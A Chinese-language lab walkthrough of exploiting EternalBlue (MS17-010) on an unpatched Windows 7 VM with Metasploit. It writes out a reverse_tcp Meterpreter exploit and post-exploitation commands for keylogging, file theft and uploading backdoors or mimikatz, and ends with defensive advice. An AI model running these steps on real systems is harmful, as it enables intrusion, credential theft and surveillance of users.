永恒之蓝(MS17-010)漏洞实战攻略
一、漏洞背景
永恒之蓝(EternalBlue) 是 NSA(美国国家安全局)开发的网络武器,2017 年被黑客组织 Shadow Brokers 泄露。该漏洞利用 Windows SMB 协议的缓冲区溢出漏洞(CVE-2017-0144),可以在无需用户交互的情况下远程执行代码,并直接获取 SYSTEM 权限(Windows 最高权限)。
影响范围:
- Windows XP / Vista / 7 / 8 / 8.1
- Windows Server 2003 / 2008 / 2012 / 2016
- 未安装 MS17-010 安全补丁的系统
危害等级:🔴 严重(CVSS 评分 9.8/10)
真实案例:2017 年 5 月,WannaCry 勒索病毒利用永恒之蓝漏洞在全球爆发,感染超过 150 个国家的 30 万台计算机,造成数十亿美元损失。
二、实验环境搭建
2.1 攻击机(Kali Linux)
- 系统:Kali Linux 2024+
- 工具:Metasploit Framework(MSF)
- IP 地址:192.168.43.9
- 网络:与靶机在同一局域网
2.2 靶机(Windows 7)
- 系统:Windows 7 Professional SP1 x64
- IP 地址:192.168.43.10
- 关键配置:
- 未安装 MS17-010 补丁
- 关闭防火墙
- 启用 SMB 服务
2.3 Windows 7 虚拟机安装详解
2.3.1 获取 Windows 7 原版镜像
为什么要用原版镜像?
- Ghost 版、精简版可能被植入后门或篡改系统文件
- 原版镜像带 SHA 校验码,可以验证文件完整性
- 微软官方签名,安全可靠
获取渠道:MSDN(推荐)
网址:msdn.itellyou.cn
操作步骤:
版本说明:
- x64 vs x86:
- x64 = 64 位(主流,推荐)
- x86 = 32 位(仅适用于老程序或低内存虚拟机)
- Professional vs Ultimate:
- Professional = 专业版(功能够用,推荐)
- Ultimate = 旗舰版(功能最全,也可选)
- 必须带 Service Pack 1(SP1):不带 SP1 的版本有大量漏洞和兼容性问题
为什么要核对 SHA 校验码?
SHA(Secure Hash Algorithm)是哈希算法,可以为文件生成唯一的"指纹"。如果文件被篡改(哪怕只改动 1 个字节),SHA 值就会完全不同。通过对比微软官方公布的 SHA 值和下载文件的 SHA 值,可以确认镜像未被植入木马。
如何校验?
Windows 下在 PowerShell 执行:
Get-FileHash –Algorithm SHA1 .\\cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso
对比输出的 Hash 值是否和上面的 SHA1 一致。
2.3.2 VMware 虚拟机创建
VMware 新建虚拟机步骤:
打开 VMware Workstation,点击"创建新的虚拟机"
选择自定义(高级) → 下一步
硬件兼容性:选择 Workstation 17.x(或当前版本)
安装来源:选择"稍后安装操作系统"(不要选"安装程序光盘映像")
- 为什么? 让 VMware 自动检测会选错版本,手动指定更可控
客户机操作系统:
- 选择 Microsoft Windows
- 版本选择 Windows 7 x64
虚拟机名称和位置:
- 名称:Win7-EternalBlue-Lab(方便识别)
- 位置:选择硬盘空间充足的分区(建议至少 50GB 可用空间)
固件类型:⚠️ 非常重要!必须选择 BIOS
- BIOS vs UEFI 区别:
- BIOS:传统引导模式,兼容性好,Win7 原版镜像默认支持
- UEFI:新式引导模式,需要 GPT 分区表,Win7 SP1 原版镜像不支持 UEFI 引导
- 如果选错 UEFI,会导致"找不到引导设备"无法安装
处理器配置:
- 处理器数量:1
- 每个处理器的核心数量:2(根据宿主机 CPU 调整,单核也能用)
内存:分配 2048 MB(2GB) 或更高
- Win7 最低 1GB,但实际使用建议 2GB 以上
- 如果宿主机内存充足,可以分配 4GB
网络类型:选择 桥接 (也可以使用NAT)
I/O 控制器类型:LSI Logic(推荐)
虚拟磁盘类型:SCSI(推荐)
磁盘:创建新虚拟磁盘
- 磁盘大小:40GB 或更高
- 选择"将虚拟磁盘存储为单个文件"(性能更好)
完成创建,但先不要启动
2.3.3 挂载 ISO 镜像并安装
编辑虚拟机设置 → CD/DVD (SATA)
选择"使用 ISO 映像文件",浏览选择刚下载的:
cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso
勾选"启动时连接"
启动虚拟机,进入 Windows 7 安装界面
安装步骤:
- 语言:中文(简体)
- 点击"现在安装"
- 输入产品密钥:跳过(实验环境可以先不激活,30 天试用期)
- 选择版本:Windows 7 Professional(专业版)
- 许可条款:勾选"我接受许可条款"
- 安装类型:自定义(高级)
- 磁盘分区:选择"磁盘 0 未分配的空间" → 下一步(自动分区)
- 等待安装完成(约 10-20 分钟)
首次启动配置:
- 密码:可以设置也可以留空
- 产品密钥:跳过
- Windows Update:选择"以后询问我"
- 时间和日期:自动检测
- 网络位置:选择"工作网络"
安装完成!
2.3.4 虚拟机网络配置检查
进入 Win7 系统后,打开 cmd 执行:
ipconfig
查看"以太网适配器 本地连接"的 IPv4 地址,应该是 192.168.x.x 格式(如 192.168.43.10)。
如果没有 IP 地址?
- 检查 VMware 的"虚拟网络编辑器" → VMnet8(NAT 模式)是否启用
- 检查 Win7 的"本地连接"是否启用自动获取 IP
网络连通性测试:
在 Win7 的 cmd 中执行:
ping 192.168.43.1
如果能 ping 通虚拟网关,说明网络正常。
2.3.5 关键配置(用于永恒之蓝实验)
⚠️ 重要:确保 Win7 未安装 MS17-010 补丁
原版 Win7 SP1 镜像默认没有 MS17-010 补丁,但如果连接互联网后可能会自动更新。为了保证实验成功,需要:
禁用 Windows Update:
- 控制面板 → Windows Update → 更改设置
- 重要更新:选择"从不检查更新"
- 取消勾选"推荐的更新"
断开互联网连接(可选):
- VMware 虚拟机设置 → 网络适配器 → 取消勾选"启动时连接"
- 或者在 Win7 中禁用"本地连接"
为什么要禁用更新?
如果 Win7 自动安装了 MS17-010 补丁(KB4012212、KB4012215 等),永恒之蓝漏洞就被修复了,实验会失败。本实验的目的是学习漏洞原理,因此需要保持系统存在漏洞。
2.4 靶机环境配置
步骤 1:查看 IP 地址
在 Windows 7 中打开 cmd,执行:
ipconfig
记录 IPv4 地址(如 192.168.43.10)。
命令解析:
- ipconfig:IP Configuration 的缩写,用于显示网络配置信息
- 重点关注"IPv4 地址"这一行,这是虚拟机在局域网中的 IP
- 这个 IP 是 DHCP(动态主机配置协议)自动分配的,每次重启可能会变化
底层原理:
当 Win7 启动时,网卡会向网络中广播 DHCP 请求(“我需要一个 IP 地址”),VMware 的虚拟 DHCP 服务器(运行在宿主机)收到请求后,从 IP 地址池中分配一个可用 IP,并告知子网掩码、网关、DNS 等信息。
步骤 2:关闭防火墙
- 控制面板 → Windows 防火墙
- 点击"打开或关闭 Windows 防火墙"
- 将"家庭或工作网络"和"公用网络"都设置为"关闭防火墙"
为什么要关闭防火墙?
Windows 防火墙默认会阻止外部对 445 端口(SMB 服务)的访问。防火墙的工作原理是检查所有入站/出站的网络数据包,根据规则决定放行或拦截。
- 入站规则:外部发给本机的连接(如 Kali 扫描 Win7 的 445 端口)
- 出站规则:本机发往外部的连接(如 Win7 访问网站)
永恒之蓝攻击需要向 Win7 的 445 端口发送数据包,如果防火墙开启,这些数据包会被拦截,攻击失败。因此实验环境需要关闭防火墙。
真实环境的差异:
企业网络的防火墙规则非常严格,甚至有硬件防火墙(如 Palo Alto、Fortinet),会检测异常流量特征。永恒之蓝攻击的数据包有明显特征,容易被 IDS/IPS(入侵检测/防御系统)识别并告警。
步骤 3:启动 SMB 服务
以管理员身份运行 cmd,执行:
net start server
如果提示"服务已启动"或"请求的服务已经启动",说明 SMB 服务正常运行。
命令解析:
- net start:Windows 命令,用于启动系统服务
- server:Server 服务的名称,负责处理 SMB/CIFS 文件共享请求
底层原理:
Server 服务启动后,会在 445 端口(TCP)监听连接请求。当其他计算机尝试访问共享文件夹时,就会向 445 端口发送 SMB 协议数据包。Server 服务接收数据包,解析请求,然后返回文件数据或错误信息。
SMB 协议工作流程:
永恒之蓝的特殊之处:
漏洞发生在步骤 2(协议协商阶段),在用户认证之前就被触发,因此攻击无需知道用户名和密码。
如何验证 SMB 服务是否运行?
netstat -an | find "445"
如果看到 0.0.0.0:445 LISTENING,说明 445 端口正在监听。
netstat 命令解析:
- netstat:Network Statistics,显示网络连接、路由表、端口监听状态
- -a:显示所有连接和监听端口
- -n:以数字形式显示 IP 和端口(不解析域名)
- | find "445":管道符,将 netstat 的输出传递给 find 命令,筛选包含 “445” 的行
步骤 4:启用网络共享
- 控制面板 → 网络和共享中心 → 更改高级共享设置
- 展开"家庭或工作"配置文件
- 启用"网络发现"
- 启用"文件和打印机共享"
- 保存更改
为什么要启用网络发现和文件共享?
- 网络发现:允许本机被其他计算机发现(通过 NetBIOS、LLMNR 等协议广播主机名)
- 文件和打印机共享:允许其他计算机访问本机的共享文件夹和打印机
这两个功能会确保 SMB 服务完全开放,Kali 的扫描和攻击数据包能够被正确处理。
NetBIOS 和 LLMNR 是什么?
- NetBIOS:老式的局域网协议,用于主机名解析(名字 → IP)
- LLMNR:链路本地多播名称解析,NetBIOS 的继任者
当你在文件资源管理器输入 \\\\YAN-PC 访问共享文件夹时,系统会通过这些协议查找 YAN-PC 的 IP 地址。
实战中的攻击场景:
攻击者可以伪造 LLMNR/NetBIOS 响应,诱骗受害者连接到攻击者的恶意 SMB 服务器,从而窃取 NTLM 哈希(密码的加密形式)。这种攻击叫做 LLMNR/NetBIOS 投毒攻击,工具是 Responder。
三、漏洞利用完整流程
3.1 第一步:信息收集 – Nmap 端口扫描
我的实战过程:
一开始我不太懂怎么开始攻击,就去搜索"永恒之蓝攻击流程",发现第一步都是用 Nmap 扫描目标的 445 端口。于是我在 Kali 终端执行了这个命令,但刚开始不理解每个参数的含义,又去查了 Nmap 的用法。
在 Kali Linux 终端执行:
nmap -sV -p 445 192.168.43.10
命令解析(我搜索后理解的):
- nmap:Network Mapper,网络扫描工具,黑客必备
- -sV:Service Version Detection,探测端口上运行的服务版本
- 底层原理:Nmap 连接到开放端口后,会发送特定的探测数据包(probe),根据服务器返回的 banner(标识信息)判断服务类型和版本
- 例如:连接 445 端口后,如果返回包含 SMB 字样,Nmap 就知道这是 SMB 服务
- -p 445:指定只扫描 445 端口(SMB 服务默认端口)
- 如果不指定 -p,Nmap 默认扫描常见的 1000 个端口,比较慢
- 445 端口是 SMB 直接托管在 TCP 上的版本(SMBv1/v2/v3)
- 139 端口是 SMB over NetBIOS(老版本)
- 192.168.43.10:目标靶机 IP
Nmap 的扫描原理:
- 如果收到 SYN-ACK 回复 → 端口开放
- 如果收到 RST 回复 → 端口关闭
- 如果没有回复 → 端口被防火墙过滤
TCP 三次握手(底层知识):
客户端 服务器
| |
|——– SYN ———–>| (我想建立连接)
|<—— SYN-ACK ———| (可以,我同意)
|——– ACK ———–>| (好的,连接建立)
Nmap 的 SYN 扫描只发送第一步,收到 SYN-ACK 后立即发送 RST 断开,因此不会在目标系统留下完整连接记录(半开放扫描),比较隐蔽。
预期输出:
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds
如果 445 端口显示 open,说明 SMB 服务正在运行,可以继续攻击。
我遇到的问题:
第一次扫描时,发现 445 端口显示 filtered(被过滤),后来检查发现是 Win7 防火墙没关闭。关闭防火墙后重新扫描,状态变成 open,才能继续后面的步骤。
扩展知识:端口状态的含义
- open:端口开放,有服务监听
- closed:端口关闭,没有服务监听,但主机在线
- filtered:被防火墙过滤,Nmap 无法判断端口状态
- open|filtered:Nmap 无法确定是开放还是过滤(UDP 扫描常见)
3.2 第二步:漏洞检测 – MSF 扫描模块
我的实战过程:
扫描到 445 端口开放后,我不确定 Win7 是否真的存在永恒之蓝漏洞(可能已经打了补丁)。搜索后发现 Metasploit 有专门的检测模块,可以判断目标是否易受攻击。
启动 Metasploit
msfconsole -q
- -q:quiet 模式,静默启动,跳过启动时的 ASCII 艺术 banner(导弹发射画面)
Metasploit 是什么?
Metasploit Framework(MSF)是世界上最流行的渗透测试框架,包含数千个漏洞利用模块(exploit)、辅助模块(auxiliary)、后渗透模块(post)。可以理解为"黑客工具箱",集成了各种攻击工具。
MSF 的模块分类:
- exploit:漏洞利用模块,主动攻击目标
- auxiliary:辅助模块,用于扫描、嗅探、爆破等非攻击性操作
- payload:攻击载荷,成功利用漏洞后在目标机器上执行的代码
- post:后渗透模块,获取 shell 后进行的操作(提权、持久化等)
- encoder:编码器,用于免杀(躲避杀软检测)
加载漏洞扫描模块
use auxiliary/scanner/smb/smb_ms17_010
- use:MSF 命令,加载指定模块
- auxiliary/scanner/smb/smb_ms17_010:模块路径
- auxiliary:辅助模块
- scanner:扫描器子类
- smb:针对 SMB 协议
- smb_ms17_010:专门检测 MS17-010 漏洞的模块
这个模块的工作原理:
它会向目标的 445 端口发送特殊构造的 SMB 数据包,尝试触发漏洞的特征行为(不会真的攻击),根据目标的响应判断是否存在漏洞。
具体来说:
设置目标 IP
set RHOSTS 192.168.43.10
- RHOSTS:Remote Hosts,远程目标主机 IP
- 可以设置单个 IP,也可以设置 IP 段(如 192.168.43.1-254)批量扫描
为什么叫 RHOSTS 不是 RHOST?
因为这个参数支持多个目标,所以用复数形式(Hosts)。如果只扫描一个目标,也用 RHOSTS。
执行扫描
run
预期输出:
[+] 192.168.43.10:445 – Host is likely VULNERABLE to MS17-010!
– Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
如果看到 VULNERABLE(易受攻击),说明目标存在永恒之蓝漏洞,可以继续利用。
我遇到的问题:
第一次运行时,显示 Connection Timeout(连接超时),检查后发现:
调试技巧:
如果扫描失败,可以在 Kali 中用 telnet 测试连通性:
telnet 192.168.43.10 445
如果显示 Connection refused 或超时,说明网络不通或服务未启动。
3.3 第三步:漏洞利用 – 获取 Shell
我的实战过程:
确认漏洞存在后,我开始真正的攻击。搜索后发现 MSF 有现成的永恒之蓝攻击模块,但需要配置多个参数(RHOSTS、LHOST、payload),刚开始不太理解这些参数的含义,又去查了 payload 和反向连接的原理。
加载攻击模块
use exploit/windows/smb/ms17_010_eternalblue
- exploit:漏洞利用模块(会主动攻击目标)
- ms17_010_eternalblue:永恒之蓝漏洞利用模块
这个模块做了什么?
它实现了 NSA 泄露的 EternalBlue 攻击代码,包括:
设置目标和 Payload
set RHOSTS 192.168.43.10
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.43.9
参数解析(我搜索后理解的):
1. RHOSTS(目标 IP)
- 就是要攻击的 Win7 靶机 IP
2. payload(攻击载荷)
- windows/x64/meterpreter/reverse_tcp 这个看起来很复杂,其实是由 4 部分组成:
- windows:目标操作系统是 Windows
- x64:64 位架构(如果是 32 位系统用 x86)
- meterpreter:payload 类型,是 Metasploit 自带的强大后渗透工具
- reverse_tcp:连接方式,反向 TCP 连接
Meterpreter 是什么?
Meterpreter(Meta-Interpreter)是 Metasploit 的核心 payload,功能非常强大:
- 完全运行在内存中,不写入硬盘(无文件攻击)
- 加密通信(防止流量被监控)
- 可以动态加载功能模块(截屏、键盘记录、提权等)
- 退出后不留痕迹
为什么选择 reverse_tcp(反向连接)?
- 正向连接(bind_tcp):目标机器开启一个端口,攻击机连接过去
- 缺点:容易被防火墙拦截(防火墙默认阻止外部连接)
- 反向连接(reverse_tcp):目标机器主动连接攻击机
- 优点:绕过防火墙(大多数防火墙只限制入站,不限制出站)
反向连接的流程:
攻击机(Kali) 目标机(Win7)
| |
| 1. 在 4444 端口监听 |
| |
| 2. 发送攻击数据包 |
|———————->|
| | 3. 执行 shellcode
| |
| 4. 主动连接回来 |
|<———————-|
| |
| 5. 建立 Meterpreter |
| 加密通道 |
3. LHOST(监听 IP)
- Local Host,攻击机的 IP(Kali 的 IP)
- 用于接收目标的反向连接
如何查看 Kali 的 IP?
ip a
或
ifconfig
找到 inet 后面的 IP 地址(如 192.168.43.9)。
查看配置(可选)
show options
确认所有必需参数已设置正确:
- RHOSTS:目标 IP ✓
- LHOST:攻击机 IP ✓
- payload:反向 TCP Meterpreter ✓
执行攻击
exploit
攻击过程详解(我观察终端输出理解的):
[*] Started reverse TCP handler on 192.168.43.9:4444
- Metasploit 在攻击机的 4444 端口启动监听器,等待目标连接
[*] 192.168.43.10:445 – Using auxiliary/scanner/smb/smb_ms17_010 as check
- 再次检测目标是否存在漏洞
[+] 192.168.43.10:445 – Host is likely VULNERABLE to MS17-010!
- 确认目标易受攻击
[*] 192.168.43.10:445 – Connecting to target for exploitation.
- 建立 SMB 连接
[*] 192.168.43.10:445 – Connection established for exploitation.
- 连接成功
[*] 192.168.43.10:445 – Target OS selected valid for OS indicated by SMB reply
- 确认目标操作系统类型
[*] 192.168.43.10:445 – CORE raw buffer dump (42 bytes)
- 读取目标内核内存信息
[*] 192.168.43.10:445 – 0x00000010 …(16进制数据)
- 内核内存数据,用于匹配漏洞特征
[*] 192.168.43.10:445 – Target arch selected valid for arch indicated by DCE/RPC reply
- 确认目标架构(x64)
[*] 192.168.43.10:445 – Trying exploit with 12 Groom Allocations.
- 使用 12 个 Groom 分配尝试利用
什么是 Groom Allocation?
这是永恒之蓝攻击的核心技术,用于在目标内核中"整理"内存布局,为缓冲区溢出创造条件:
- Windows 内核有一个"非分页池"(Non-Paged Pool),用于存放不能被换出到硬盘的内存数据
- Groom 就是通过发送多个 SMB 请求,在非分页池中创建多个固定大小的内存块
- 然后释放其中一个,创造一个"空洞"(free hole)
- 再发送恶意数据包,让溢出的数据精确填充这个空洞
- 这样就能控制内核内存,劫持程序执行流
[*] 192.168.43.10:445 – Sending all but last fragment of exploit packet
- 发送 exploit 数据包的大部分片段
[*] 192.168.43.10:445 – Starting non-paged pool grooming
- 开始非分页池整理
[*] 192.168.43.10:445 – Sending SMBv2 buffers
- 发送 SMBv2 缓冲区
[*] 192.168.43.10:445 – Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
- 关闭 SMBv1 连接,创建相邻的 free hole
[*] 192.168.43.10:445 – Sending final SMBv2 buffers.
- 发送最终的 SMBv2 缓冲区
[*] 192.168.43.10:445 – Sending last fragment of exploit packet!
- 发送 exploit 数据包的最后一个片段
[*] 192.168.43.10:445 – Receiving response from exploit packet
- 接收 exploit 数据包的响应
[+] 192.168.43.10:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)!
- 🎉 永恒之蓝覆写成功!
- 0xC000000D 是 Windows 错误码 STATUS_INVALID_PARAMETER,表示触发了预期的异常
[*] 192.168.43.10:445 – Sending egg to corrupted connection.
- 发送 “egg”(标记代码)到损坏的连接
[*] 192.168.43.10:445 – Triggering free of corrupted buffer.
- 触发损坏缓冲区的释放
[*] Sending stage (268902 bytes) to 192.168.43.10
- 发送 Meterpreter 的第二阶段代码(268KB)
为什么是多阶段 payload?
- 第一阶段(stage 0):极小的 shellcode(几百字节),已经通过漏洞注入到目标内核
- 第二阶段(stage 1):完整的 Meterpreter(268KB),通过已建立的连接传输
- 优点:第一阶段越小,越容易注入成功;第二阶段通过正常网络传输,不受缓冲区大小限制
- 🎉 Meterpreter 会话建立成功!
- 192.168.43.9:4444:攻击机的监听地址
- 192.168.43.10:49158:目标随机选择的出站端口
成功标志:
meterpreter >
看到 meterpreter > 提示符,说明已经完全控制目标系统!
我的感受:
看到这个提示符的那一刻,感觉非常神奇。一个漏洞就能让我从 Kali 直接控制 Win7,不需要用户点击任何东西,不需要输入密码。这就是"0day 漏洞"的威力,也理解了为什么 WannaCry 能传播那么快。
四、后渗透操作
获取 Meterpreter Shell 后,可以执行以下命令:
我的实战过程:
成功拿到 shell 后,我不太确定能做什么操作,就在 Meterpreter 中输入 help 查看可用命令,发现有上百个命令。然后我挑了几个常用的试了一下,理解了后渗透阶段的操作。
4.1 查看系统信息
sysinfo
输出示例:
Computer : YAN-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
命令解析:
- sysinfo:System Information,显示目标系统的详细信息
- Computer:计算机名(NetBIOS 名称)
- OS:操作系统版本和内部版本号(Build 7601 = SP1)
- Architecture:系统架构(x86 或 x64)
- System Language:系统语言(zh_CN = 中文简体)
- Domain:域名(WORKGROUP = 工作组,说明不在域环境)
- Logged On Users:当前登录的用户数量
- Meterpreter:当前 Meterpreter 的架构
为什么这些信息重要?
- 了解目标系统版本,选择合适的提权漏洞(如果当前不是 SYSTEM 权限)
- 确认架构,避免执行错误的二进制文件(x64 系统不能直接运行 x86 的某些工具)
- 域环境和工作组环境的渗透策略完全不同(域环境可以横向移动到其他机器)
4.2 查看当前权限
getuid
输出示例:
Server username: NT AUTHORITY\\SYSTEM
命令解析:
- getuid:Get User ID,获取当前进程的用户身份
- NT AUTHORITY\\SYSTEM:Windows 系统中的最高权限,比 Administrator 还高
Windows 权限等级:
为什么永恒之蓝直接拿到 SYSTEM 权限?
因为漏洞发生在内核层(Windows 内核处理 SMB 数据包时),内核代码运行在 Ring 0(最高权限级别),因此注入的 shellcode 也拥有 SYSTEM 权限。
Ring 权限模型:
Ring 0: 内核模式(驱动、内核)- 完全控制硬件
Ring 1: 未使用
Ring 2: 未使用
Ring 3: 用户模式(应用程序)- 受限访问
4.3 列出进程
ps
显示目标系统所有正在运行的进程,可以用于后续进程注入、权限提升等操作。
输出解析:
- PID:进程 ID(Process ID),唯一标识一个进程
- PPID:父进程 ID(Parent Process ID),该进程是由哪个进程创建的
- Name:进程名称
- Arch:架构(x86 或 x64)
- Session:会话 ID(0 = 系统进程,1+ = 用户进程)
- User:运行该进程的用户
- Path:可执行文件路径
我的理解:
进程列表就像任务管理器,可以看到哪些程序在运行。在渗透测试中,常见操作是:
- 进程迁移:把 Meterpreter 注入到稳定的系统进程(如 explorer.exe),防止被杀掉
- 寻找高价值进程:如 lsass.exe(存储密码哈希)、winlogon.exe(登录进程)
进程迁移命令:
migrate 1234 # 1234 是目标进程的 PID
4.4 截取屏幕
screenshot
自动截取目标系统桌面,保存到 Kali 本地(路径会显示在输出中)。
底层原理:
Meterpreter 调用 Windows API BitBlt() 和 GetDC(),从显示设备上下文(Display Device Context)读取屏幕像素数据,保存为图片文件,通过加密通道传输到攻击机。
实战用途:
- 查看用户正在做什么(是否在工作、浏览什么网站)
- 捕捉敏感信息(聊天记录、文档内容)
- 社会工程学(了解目标的工作习惯)
4.5 查看网络配置
ipconfig
显示目标系统网络接口、IP 地址、子网掩码、网关等信息。
输出包含:
- 本地 IP 地址(如 192.168.43.10)
- 子网掩码(如 255.255.255.0)
- 默认网关(如 192.168.43.1)
- DNS 服务器
实战用途:
- 判断目标在哪个网段(内网还是公网)
- 发现其他网卡(如果有双网卡,可以作为跳板机横向移动)
- 确认网络拓扑,规划下一步攻击
4.6 进入系统 Shell
shell
进入 Windows cmd 命令行,可以执行任意系统命令。输入 exit 返回 Meterpreter。
我的理解:
shell 命令会在目标机器上启动一个 cmd.exe 进程,Meterpreter 捕获它的输入输出,转发到攻击机。这样我就可以像在 Win7 的命令提示符中一样执行命令。
与 Meterpreter 的区别:
- Meterpreter:运行在内存中,功能更强大(截屏、键盘记录),加密通信
- Shell:普通的 cmd.exe,没有加密,但可以执行所有 Windows 命令
常用的 Windows 命令:
whoami # 查看当前用户
net user # 列出所有用户
net localgroup administrators # 查看管理员组成员
ipconfig # 网络配置
netstat -an # 查看网络连接
tasklist # 列出进程
systeminfo # 系统详细信息
4.7 上传文件
upload /root/test.txt C:\\\\Users\\\\Public\\\\test.txt
将攻击机文件上传到目标系统(注意 Windows 路径需要双反斜杠)。
命令解析:
- /root/test.txt:Kali 上的源文件路径(Linux 路径用正斜杠)
- C:\\\\Users\\\\Public\\\\test.txt:Win7 上的目标路径(Windows 路径用反斜杠)
- 为什么要双反斜杠?因为反斜杠 \\ 在很多编程语言中是转义符,\\\\ 才表示一个反斜杠
实战用途:
- 上传后门程序(持久化)
- 上传工具(mimikatz 抓密码、procdump 提取进程)
- 上传脚本(自动化收集信息)
底层原理:
Meterpreter 读取本地文件内容,通过加密的 TLS 通道传输到目标机器,然后调用 Windows API CreateFile() 和 WriteFile() 写入磁盘。
4.8 下载文件
download C:\\\\Users\\\\Yan\\\\Desktop\\\\secret.txt /root/
将目标系统文件下载到攻击机。
实战用途:
- 窃取敏感文档(合同、密码文件、数据库)
- 下载浏览器历史记录和 Cookie
- 收集证据(取证分析)
批量下载:
download C:\\\\Users\\\\Yan\\\\Documents\\\\ /root/loot/
递归下载整个文件夹。
4.9 键盘记录
keyscan_start # 开始记录键盘输入
keyscan_dump # 导出记录的按键
keyscan_stop # 停止记录
底层原理:
Meterpreter 使用 Windows 钩子(Hook)技术,注册一个底层键盘钩子(SetWindowsHookEx API),拦截所有键盘事件。每次用户按键,钩子函数就会被调用,记录按键码(VK_CODE),然后转换为字符。
Hook 是什么?
Hook(钩子)是 Windows 提供的一种消息拦截机制。操作系统在处理键盘、鼠标、窗口等事件时,会先调用注册的 Hook 函数,Hook 可以:
- 查看事件内容(偷窥)
- 修改事件(篡改)
- 阻止事件传递(拦截)
实战用途:
- 窃取密码(用户登录时输入的密码)
- 窃取信用卡号、身份证号
- 监控用户聊天内容
我的思考:
键盘记录器在电影里经常出现,没想到 Meterpreter 一个命令就能实现。这也是为什么重要系统会使用软键盘(用鼠标点击输入),可以防御键盘记录。
4.10 退出控制
exit
退出 Meterpreter 会话,目标系统恢复正常。
注意:Meterpreter 是内存马,运行在内存中,退出后不会在目标系统留下文件痕迹。
什么是内存马?
- 普通木马:写入硬盘(如 C:\\Windows\\System32\\evil.exe),重启后仍然存在,但容易被杀软检测
- 内存马:只存在于内存中,不写入硬盘,重启后消失,杀软难以检测
Meterpreter 的隐蔽性:
但也不是完全隐蔽:
- 杀软的"行为检测"可以发现异常(如进程突然连接外网)
- EDR(终端检测与响应)会监控内存中的恶意代码
- 蓝队可以通过内存取证工具(Volatility)分析内存镜像,发现 Meterpreter
五、攻击原理深度解析
5.1 SMB 协议简介
SMB(Server Message Block)是 Windows 系统用于文件共享、打印机共享的网络协议,默认运行在 445 端口。
SMB 的历史:
- SMBv1:1983 年由 IBM 开发,后被微软采用,存在大量安全漏洞
- SMBv2:2006 年(Vista/Server 2008),性能大幅提升,减少网络往返次数
- SMBv3:2012 年(Win8/Server 2012),增加加密、多通道等特性
永恒之蓝利用的是 SMBv1 的漏洞,这也是为什么防御措施之一是禁用 SMBv1。
SMB 协议栈:
应用层: 文件共享、打印
—————————-
SMB 协议层: SMB 命令(读写文件)
—————————-
传输层: TCP 445 端口
—————————-
网络层: IP
—————————-
数据链路层: 以太网
5.2 永恒之蓝漏洞原理
我搜索后理解的原理:
永恒之蓝利用的是 SMBv1 协议在处理 SMB_COM_TRANSACTION2 命令时的缓冲区溢出漏洞。
1. 缓冲区溢出基础
假设有一个缓冲区(Buffer)只能存放 10 个字节:
[0][1][2][3][4][5][6][7][8][9]
正常情况下,写入 10 个字节:
[H][e][l][l][o][W][o][r][l][d]
但如果写入 15 个字节会怎样?
[H][e][l][l][o][W][o][r][l][d][!][!][!][!][!]
↑ 溢出部分
溢出的 5 个字节会覆盖相邻内存区域,可能是:
- 函数返回地址(控制程序跳转到哪里)
- 其他变量的值
- 函数指针(控制调用哪个函数)
2. 永恒之蓝的攻击步骤
第一步:内存布局整理(Groom)
- 发送多个 SMB 请求,在内核的非分页池(Non-Paged Pool)中分配多个固定大小的内存块
- 非分页池是内核用于存储不能被换出到硬盘的数据(如驱动、锁、DPC 对象)
- 通过精心构造请求,让这些内存块紧密排列
第二步:创建 Free Hole
- 释放其中一个内存块,创建一个"空洞"
- 这个空洞的位置是可预测的
第三步:触发溢出
- 发送恶意的 SMB_COM_TRANSACTION2 请求,包含超长数据
- SMB 驱动在解析这个请求时,会将数据复制到一个缓冲区
- 但驱动没有正确检查数据长度,导致缓冲区溢出
- 溢出的数据精确填充之前创建的 Free Hole
第四步:劫持执行流
- 溢出的数据包含精心构造的内存结构(如函数指针、对象指针)
- 当内核继续执行时,会调用这些被篡改的指针
- 程序跳转到攻击者控制的 shellcode
第五步:执行 Payload
- Shellcode 运行在内核模式(Ring 0),拥有 SYSTEM 权限
- Shellcode 会创建一个新进程,注入 Meterpreter 的第一阶段代码
- 然后通过网络下载第二阶段代码,建立反向连接
用图表示:
正常内存布局:
[内核代码][缓冲区A][缓冲区B][函数指针][其他数据]
Groom 后的布局:
[SMB块1][SMB块2][Free Hole][SMB块3][重要结构]
溢出后的布局:
[SMB块1][SMB块2][恶意数据填充][SMB块3][被覆盖]
↑
shellcode
5.3 为什么能无需认证?
SMB 协议在处理连接请求时,会在用户认证之前进行数据包解析。永恒之蓝利用的就是这个解析过程中的漏洞,因此无需提供用户名和密码。
SMB 连接流程:
1. TCP 三次握手(建立连接)
2. SMB 协议协商(客户端和服务器商量用 SMBv1/v2/v3)
← 漏洞在这一步触发!
3. 用户认证(输入用户名密码)
4. 访问共享资源
因为漏洞在第 2 步就被触发,所以不需要第 3 步的认证。
5.4 反向连接(Reverse TCP)原理
- 正向连接(Bind TCP):攻击机主动连接目标(易被防火墙拦截)
- 反向连接(Reverse TCP):目标主动连接攻击机(绕过防火墙出站规则)
大多数防火墙只限制入站连接,不限制出站连接,因此反向 TCP 成功率更高。
为什么防火墙不限制出站?
因为用户需要访问互联网(浏览器、邮件客户端、更新服务),这些都是出站连接。如果严格限制出站,系统基本无法使用。
企业网络的区别:
- 普通家庭网络:只限制入站,不限制出站
- 企业网络:可能有出站白名单(只允许访问特定域名/IP),或者部署代理服务器强制所有出站流量经过审查
高级反向连接技术:
- HTTP/HTTPS 反向连接:伪装成正常的网页访问流量
- DNS 隧道:通过 DNS 查询传输数据(几乎所有网络都允许 DNS)
- ICMP 隧道:通过 ping 数据包传输数据
六、防御措施
6.1 立即修复
安装 Microsoft 官方补丁:MS17-010
- Windows Update 自动更新
- 手动下载:https://docs.microsoft.com/zh-cn/security-updates/
6.2 禁用 SMBv1 协议
# 以管理员身份运行 PowerShell
Disable-WindowsOptionalFeature –Online –FeatureName SMB1Protocol
6.3 网络层防护
- 在防火墙/路由器上阻止 139、445 端口的外网访问
- 配置 IDS/IPS 检测永恒之蓝攻击特征
6.4 主机加固
- 启用 Windows 防火墙
- 关闭不必要的文件共享
- 使用强密码策略
